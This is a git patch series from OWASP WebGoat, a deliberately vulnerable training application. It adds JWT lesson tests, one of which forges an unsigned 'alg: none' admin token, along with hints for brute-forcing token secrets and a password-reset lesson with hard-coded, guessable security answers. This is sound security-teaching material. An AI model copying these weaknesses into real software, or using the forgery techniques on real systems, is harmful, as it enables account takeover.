"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJPbmxpbmUgSldUIEJ1aWxkZXIiLCJpYXQiOjE0OTUyODU3NDUsImV4cCI6MTQ5NTI4NTc0NSwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJuYW1lIjoiVG9tIiwiZW1haWwiOiJ0b21Ad2ViZ29hdC5jb20iLCJyb2xlIjoiQ2F0In0.NTd3E17JZlVKZk52Wq_AWZ0RDafV5KDRMuJner_zUn4"; - private static final String JWT_KEY = "qwertyuiopasdfghjklzxcvbnm123456"; - - -} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java index 4a790c9798..591769c5c1 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java @@ -10,7 +10,4 @@ public interface GuestView { public interface UserView extends GuestView { } - - public interface AdminView extends UserView { - } } diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java index ef79d5cd3f..d9217d402d 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java @@ -20,9 +20,6 @@ public class Vote { private final String imageBig; @JsonView(Views.UserView.class) private int numberOfVotes; - @JsonView(Views.AdminView.class) - @Setter - private String flag; @JsonView(Views.UserView.class) private boolean votingAllowed = true; @JsonView(Views.UserView.class) diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index 939de63aec..92cad63167 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -13,11 +13,13 @@ jwt-change-token-hint5=Submit the token by changing the algorithm to None and re jwt-secret-hint1=Save the token and try to verify the token locally jwt-secret-hint2=Download a word list dictionary (https://github.com/first20hours/google-10000-english) jwt-secret-hint3=Write a small program or use HashCat for brute forcing the token according the word list +jwt-secret-claims-missing=You are missing some claims, you should keep all the claims in the token +jwt-secret-incorrect-user=The user is {0}, you need to change it to WebGoat jwt-refresh-hint1=Look at the access log you will find a token there jwt-refresh-hint2=The token from the access log is no longer valid, can you find a way to refresh it? jwt-refresh-hint3=The endpoint for refreshing a token is 'jwt/refresh/newToken' -jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your refresh token +jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token jwt-refresh-not-tom=User is not Tom but {0}, please try again jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpointTest.java new file mode 100644 index 0000000000..421857307d --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpointTest.java @@ -0,0 +1,110 @@ +package org.owasp.webgoat.plugin; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import org.hamcrest.CoreMatchers; +import org.joda.time.Days; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.http.MediaType; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.result.MockMvcResultHandlers; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import java.time.Duration; +import java.time.Instant; +import java.util.Date; + +import static io.jsonwebtoken.SignatureAlgorithm.*; +import static org.hamcrest.Matchers.is; +import static org.junit.Assert.*; +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.JWTSecretKeyEndpoint.JWT_SECRET; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTSecretKeyEndpointTest extends LessonTest { + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + private Claims createClaims(String username) { + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Tom"); + claims.setExpiration(Date.from(Instant.now().plus(Duration.ofDays(1)))); + claims.setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(1)))); + claims.setIssuer("iss"); + claims.setAudience("aud"); + claims.setSubject("sub"); + claims.put("username", username); + claims.put("Email", "webgoat@webgoat.io"); + claims.put("Role", new String[]{"user"}); + return claims; + } + + @Test + public void solveAssignment() throws Exception { + Claims claims = createClaims("WebGoat"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void solveAssignmentWithLowercase() throws Exception { + Claims claims = createClaims("webgoat"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void oneOfClaimIsMissingShouldNotSolveAssignment() throws Exception { + Claims claims = createClaims("WebGoat"); + claims.remove("aud"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-secret-claims-missing")))); + } + + @Test + public void incorrectUser() throws Exception { + Claims claims = createClaims("Tom"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-secret-incorrect-user", "default", "Tom")))); + } + + @Test + public void incorrectToken() throws Exception { + Claims claims = createClaims("Tom"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, "wrong_password").compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); + } +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTVotesEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTVotesEndpointTest.java new file mode 100644 index 0000000000..9c90c1678b --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTVotesEndpointTest.java @@ -0,0 +1,187 @@ +package org.owasp.webgoat.plugin; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.http.MediaType; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.MvcResult; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import javax.servlet.http.Cookie; + +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.is; +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.JWTVotesEndpoint.JWT_PASSWORD; +import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTVotesEndpointTest extends LessonTest { + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void solveAssignment() throws Exception { + //Create new token and set alg to none and do not sign it + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Tom"); + String token = Jwts.builder().setClaims(claims).setHeaderParam("alg", "none").compact(); + + //Call the reset endpoint + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset") + .contentType(MediaType.APPLICATION_JSON) + .cookie(new Cookie("access_token", token))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void resetWithoutTokenShouldNotWork() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset") + .contentType(MediaType.APPLICATION_JSON)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); + } + + @Test + public void guestShouldNotGetAToken() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Guest")) + .andExpect(status().isUnauthorized()).andExpect(cookie().value("access_token", "")); + } + + @Test + public void tomShouldGetAToken() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Tom")) + .andExpect(status().isOk()).andExpect(cookie().value("access_token", containsString("eyJhbGciOiJIUzUxMiJ9."))); + } + + @Test + public void guestShouldNotSeeNumberOfVotes() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(new Cookie("access_token", ""))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").doesNotExist()) + .andExpect(jsonPath("$[0].votingAllowed").doesNotExist()) + .andExpect(jsonPath("$[0].average").doesNotExist()); + } + + @Test + public void tomShouldSeeNumberOfVotes() throws Exception { + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Tom")) + .andExpect(status().isOk()).andReturn(); + + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(result.getResponse().getCookies()[0])) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").exists()) + .andExpect(jsonPath("$[0].votingAllowed").exists()) + .andExpect(jsonPath("$[0].average").exists()); + } + + @Test + public void invalidTokenShouldSeeGuestView() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(new Cookie("access_token", "abcd.efgh.ijkl"))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").doesNotExist()) + .andExpect(jsonPath("$[0].votingAllowed").doesNotExist()) + .andExpect(jsonPath("$[0].average").doesNotExist()); + } + + @Test + public void tomShouldBeAbleToVote() throws Exception { + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Tom")) + .andExpect(status().isOk()).andReturn(); + Cookie cookie = result.getResponse().getCookie("access_token"); + + result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(cookie)) + .andExpect(status().isOk()).andDo(print()).andReturn(); + Object[] nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class); + int currentNumberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes"); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + .cookie(cookie)) + .andExpect(status().isAccepted()); + result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(cookie)) + .andExpect(status().isOk()).andReturn(); + nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class); + int numberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes"); + assertThat(numberOfVotes).isEqualTo(currentNumberOfVotes + 1); + } + + private Map findNodeByTitle(Object[] nodes, String title) { + for (Object n : nodes) { + Map node = (Map) n; + if (node.get("title").equals(title)) { + return node; + } + } + return null; + } + + @Test + public void guestShouldNotBeAbleToVote() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + .cookie(new Cookie("access_token", ""))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void unknownUserWithValidTokenShouldNotBeAbleToVote() throws Exception { + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Intruder"); + String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + .cookie(new Cookie("access_token", token))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void unknownUserShouldSeeGuestView() throws Exception { + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Intruder"); + String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact(); + + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/") + .cookie(new Cookie("access_token", token))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").doesNotExist()) + .andExpect(jsonPath("$[0].votingAllowed").doesNotExist()) + .andExpect(jsonPath("$[0].average").doesNotExist()); + } + + +} \ No newline at end of file From eaf68d38c5ab47364b5838294a0660a865adee1f Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Fri, 25 May 2018 14:27:45 +0200 Subject: [PATCH 64/76] Initial commit for password reset lesson --- .../plugin/HttpBasicsInterceptRequest.java | 2 +- webgoat-lessons/password-reset/pom.xml | 21 +++ .../owasp/webgoat/plugin/PasswordReset.java | 34 +++++ .../webgoat/plugin/PasswordResetEmail.java | 18 +++ .../plugin/questions/QuestionsAssignment.java | 55 +++++++ .../plugin/simple/SimpleMailAssignment.java | 82 +++++++++++ .../src/main/resources/css/password.css | 0 .../main/resources/html/PasswordReset.html | 134 ++++++++++++++++++ .../resources/i18n/WebGoatLabels.properties | 9 ++ .../src/main/resources/images/reset1.png | Bin 0 -> 23130 bytes .../src/main/resources/images/reset2.png | Bin 0 -> 20799 bytes .../src/main/resources/images/slack1.png | Bin 0 -> 24736 bytes .../src/main/resources/images/slack2.png | Bin 0 -> 24086 bytes .../resources/js/password-reset-simple.js | 10 ++ .../en/PasswordReset_host_header.adoc | 17 +++ .../en/PasswordReset_known_questions.adoc | 23 +++ .../en/PasswordReset_password_reset_link.adoc | 3 + .../lessonPlans/en/PasswordReset_plan.adoc | 22 +++ .../lessonPlans/en/PasswordReset_simple.adoc | 6 + .../en/PasswordReset_wrong_message.adoc | 21 +++ webgoat-lessons/pom.xml | 1 + .../en/SqlInjection_challenge.adoc | 2 + webgoat-server/pom.xml | 5 + 23 files changed, 464 insertions(+), 1 deletion(-) create mode 100644 webgoat-lessons/password-reset/pom.xml create mode 100644 webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java create mode 100644 webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordResetEmail.java create mode 100644 webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/questions/QuestionsAssignment.java create mode 100644 webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/simple/SimpleMailAssignment.java create mode 100644 webgoat-lessons/password-reset/src/main/resources/css/password.css create mode 100644 webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html create mode 100644 webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties create mode 100644 webgoat-lessons/password-reset/src/main/resources/images/reset1.png create mode 100644 webgoat-lessons/password-reset/src/main/resources/images/reset2.png create mode 100644 webgoat-lessons/password-reset/src/main/resources/images/slack1.png create mode 100644 webgoat-lessons/password-reset/src/main/resources/images/slack2.png create mode 100644 webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js create mode 100644 webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc create mode 100644 webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc create mode 100644 webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_password_reset_link.adoc create mode 100644 webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc create mode 100644 webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc create mode 100644 webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc diff --git a/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java b/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java index e39670e579..3c7d42f446 100644 --- a/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java +++ b/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java @@ -48,7 +48,7 @@ public class HttpBasicsInterceptRequest extends AssignmentEndpoint { @RequestMapping(method = RequestMethod.GET) public @ResponseBody - AttackResult completed(HttpServletRequest request) throws IOException { + AttackResult completed(HttpServletRequest request) { String header = null; String param = null; if (request != null && (header = request.getHeader("x-request-intercepted")) != null diff --git a/webgoat-lessons/password-reset/pom.xml b/webgoat-lessons/password-reset/pom.xml new file mode 100644 index 0000000000..d87ebc7281 --- /dev/null +++ b/webgoat-lessons/password-reset/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + password-reset + jar + + org.owasp.webgoat.lesson + webgoat-lessons-parent + v8.0.0.M14 + + + + + org.springframework.security + spring-security-test + 4.1.3.RELEASE + test + + + + diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java new file mode 100644 index 0000000000..9e4f3143e2 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java @@ -0,0 +1,34 @@ +package org.owasp.webgoat.plugin; + +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.NewLesson; + +import java.util.ArrayList; +import java.util.List; + +public class PasswordReset extends NewLesson { + @Override + public Category getDefaultCategory() { + return Category.AUTHENTICATION; + } + + @Override + public List getHints() { + return new ArrayList(); + } + + @Override + public Integer getDefaultRanking() { + return 10; + } + + @Override + public String getTitle() { + return "password-reset.title"; + } + + @Override + public String getId() { + return "PasswordReset"; + } +} diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordResetEmail.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordResetEmail.java new file mode 100644 index 0000000000..deec7e5f89 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordResetEmail.java @@ -0,0 +1,18 @@ +package org.owasp.webgoat.plugin; + +import lombok.Builder; +import lombok.Data; + +import java.io.Serializable; +import java.time.LocalDateTime; + +@Builder +@Data +public class PasswordResetEmail implements Serializable { + + private LocalDateTime time; + private String contents; + private String sender; + private String title; + private String recipient; +} \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/questions/QuestionsAssignment.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/questions/QuestionsAssignment.java new file mode 100644 index 0000000000..e90f5cb2a3 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/questions/QuestionsAssignment.java @@ -0,0 +1,55 @@ +package org.owasp.webgoat.plugin.questions; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.plugin.PasswordResetEmail; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +import java.time.LocalDateTime; +import java.util.HashMap; +import java.util.Map; + +/** + * @author nbaars + * @since 8/20/17. + */ +@AssignmentPath("/PasswordReset/questions") +public class QuestionsAssignment extends AssignmentEndpoint { + + private final static Map COLORS = new HashMap<>(); + + static { + COLORS.put("admin", "green"); + COLORS.put("jerry", "orange"); + COLORS.put("tom", "purple"); + COLORS.put("larry", "yellow"); + COLORS.put("webgoat", "red"); + } + + @PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult passwordReset(@RequestParam Map json) { + String securityQuestion = (String) json.getOrDefault("securityQuestion", ""); + String username = (String) json.getOrDefault("username", ""); + + if ("webgoat".equalsIgnoreCase(username.toLowerCase())) { + return trackProgress(failed().feedback("password-questions-wrong-user").build()); + } + + String validAnswer = COLORS.get(username.toLowerCase()); + if (validAnswer == null) { + return trackProgress(failed().feedback("password-questions-unknown-user").feedbackArgs(username).build()); + } else if (validAnswer.equals(securityQuestion)) { + return trackProgress(success().build()); + } + return trackProgress(failed().build()); + } +} diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/simple/SimpleMailAssignment.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/simple/SimpleMailAssignment.java new file mode 100644 index 0000000000..e608742dd7 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/simple/SimpleMailAssignment.java @@ -0,0 +1,82 @@ +package org.owasp.webgoat.plugin.simple; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.plugin.PasswordResetEmail; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +import java.time.LocalDateTime; +import java.util.Map; +import java.util.Optional; + +import static java.util.Optional.ofNullable; + +/** + * @author nbaars + * @since 8/20/17. + */ +@AssignmentPath("/PasswordReset/simple-mail") +public class SimpleMailAssignment extends AssignmentEndpoint { + + private final String webWolfURL; + private RestTemplate restTemplate; + + public SimpleMailAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfURL) { + this.restTemplate = restTemplate; + this.webWolfURL = webWolfURL; + } + + @PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult sendEmail(@RequestParam Map json) { + String email = (String) json.get("emailReset"); + if (StringUtils.isEmpty(email)) { + email = (String) json.getOrDefault("email", "unknown@webgoat.org"); + } + String password = (String) json.getOrDefault("password", ""); + int index = email.indexOf("@"); + String username = email.substring(0, index == -1 ? email.length() : index); + + if (StringUtils.isEmpty(password)) { + return sendEmail(username, email); + } else { + return checkPassword(password, username); + } + } + + private AttackResult checkPassword(String password, String username) { + if (username.equals(getWebSession().getUserName()) && StringUtils.reverse(username).equals(password)) { + return trackProgress(success().build()); + } else { + return trackProgress(failed().feedbackArgs("password-reset-simple.password_incorrect").build()); + } + } + + private AttackResult sendEmail(String username, String email) { + if (username.equals(getWebSession().getUserName())) { + PasswordResetEmail mailEvent = PasswordResetEmail.builder() + .recipient(username) + .title("Simple e-mail assignment") + .time(LocalDateTime.now()) + .contents("Thanks your resetting your password, your new password is: " + StringUtils.reverse(username)) + .sender("webgoat@owasp.org") + .build(); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e) { + return informationMessage().feedback("password-reset-simple.email_failed").output(e.getMessage()).build(); + } + return informationMessage().feedback("password-reset-simple.email_send").feedbackArgs(email).build(); + } else { + return informationMessage().feedback("password-reset-simple.email_mismatch").feedbackArgs(username).build(); + } + } +} diff --git a/webgoat-lessons/password-reset/src/main/resources/css/password.css b/webgoat-lessons/password-reset/src/main/resources/css/password.css new file mode 100644 index 0000000000..e69de29bb2 diff --git a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html new file mode 100644 index 0000000000..4b5373a0f5 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html @@ -0,0 +1,134 @@ + + + + +
+
+
+
+ +
+
+
+ +
+
+ + + + +
+
+
+
+
+
+ Sign up + Login +

WebGoat Password Recovery

+ +
+ + +
+
+ + +
+
+ +
+ +
+
+
+ + +
+ +
+
+
+
+
+ + + \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties new file mode 100644 index 0000000000..cb073b35a5 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties @@ -0,0 +1,9 @@ +password-reset.title=Password reset + +password-reset-simple.email_send=An email has been send to {0} please check your inbox. +password-reset-simple.password_incorrect=Not the correct password please try again. +password-reset-simple.email_failed=There was an error while sending the e-mail. Is WebWolf running? +password-reset-simple.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username. + +password-questions-wrong-user=You need to find a different user you are logging in with 'webgoat'. +password-questions-unknown-user=User {0} is not a valid user. diff --git a/webgoat-lessons/password-reset/src/main/resources/images/reset1.png b/webgoat-lessons/password-reset/src/main/resources/images/reset1.png new file mode 100644 index 0000000000000000000000000000000000000000..36793a8b599aa4e858f6eeb0716a41752d22118a GIT binary patch literal 23130 zcmcG$1yo$kvoA_Q2q9R2;Fb&!971rn0fM_*aCdh}fPo-ECqQs_cNh}f-8BrZgTtV2 z`2OeJciubqoO9Q^>+V_8v+3Tuy1TlnyZTqvgexgXVZJ7Ljf8}RDg7C!f`s(^5((+q z&8z2#ob{rNSj5juV_7L6(&N)7v#lT=k%Q*=S=$8(2_5h0`wS`N7ZD;8)m2(v0u_ov z{F=61~|?OL`%jRiL#%513}3DMGE3U6e9g6>3{v|ze@j; zSN}!w{~rOjULqPxk%-r4oc@{hw&uOP9*544aK-dm?LX*Ks7NAGqmgnCqiUY32ZwV> z(bz9$OqEXKg5HlrMtuufynCgV6(sQsU=4@%UvI3#?ryoQpCc*B(lguo*Hd24b?Fhi zzHuVK)GM@hWD6_J5KN~e4E9Av$|Ss0WZ&uyX-&NP8KHy$B=fX`_hfEe4ig|B}U6)e#?YUoJj)WIrffJxS#xGqKt}!bZ`ALl6PPAxUkhN>2Q6pC2^3D_7VoW*XhL8zeM69;Si%= z6SOraU+tMQ{Ut?{lRsRV?D$_i&#u}lJ|C;jZz$DiL~{`1U(_0jlRS*DXtr@VwwUq^wiz1*E}%jE;93pxry z>VRa09=2Z#!lke){!pfPHS+q{#vKSJK)g@~5Z%8ZI4bl$Qz;8v_21q~*(BvW*;zaE zu;(H;R#rqp66p%^j&=CuVLx#XRihaaSVG*24Lo}y>UmGbRjP&!C>K<{b;lyr$S(dz zzAGmAGXjdi52W(u6!!Hl1v&Nq%9e78!FnW~s$kI}K*g{*8qZ3K;vlZ=XS`|EJpaRW zv|vDhk!6H=fSo+wP8)x+#auy*3bF)n`V7cC%OJPBudBa$` zYRom2(i#Ey$whiubXH}epEK$qcrR}Q{%}!*y&4FsL#doo(;A=|b7 z`NT=O(oz)2cCtGwR(dDT9mcrbmaWKtv%i_3v_3Pys+CjZxSqdyUqC=_J!Wx8cwuAT z&8_Cxwf;5^?Ad?}z-r|p5L#wv1$GOWPP%#9I{Dw+Z1aG8iSa>p&rgi61&DH{!4HVWNWTqWOrjz|#^4B3XZ;xIHx+`+S0aT^9h4DIV- zHrmqYtQ{K5+PL-{_ficfWpxT;&Pu`p*Nu_EbIVsfM?Jwt5+w7q`T1gi?CrH!RvtCv zH%@;q>`k7n4z+c>XOa&awI{DSUW@ztw)o>F-I+W@HgNfP2A|^6+l`&z*l_Jii<4~^ z-x6;w)xn|v4VcxhPcp3^i}#_{HKQrEEynGyBl^{h0FLU@pb#27AYKR=35!_2VQ{q+~5kzMCLa&)r}uD=ZazJE_7YFTNRtZzjeBA(+|J~A#njFXE)6rMkWj#|i)#H5)n-|A! zZ~ty0^bXo8ozcY5{*BtPex*6dT;r$n6uigE=7)$9j?%8y2?N;F7)N)Y@^)BsW4Nf_avTdT4yZ#&( 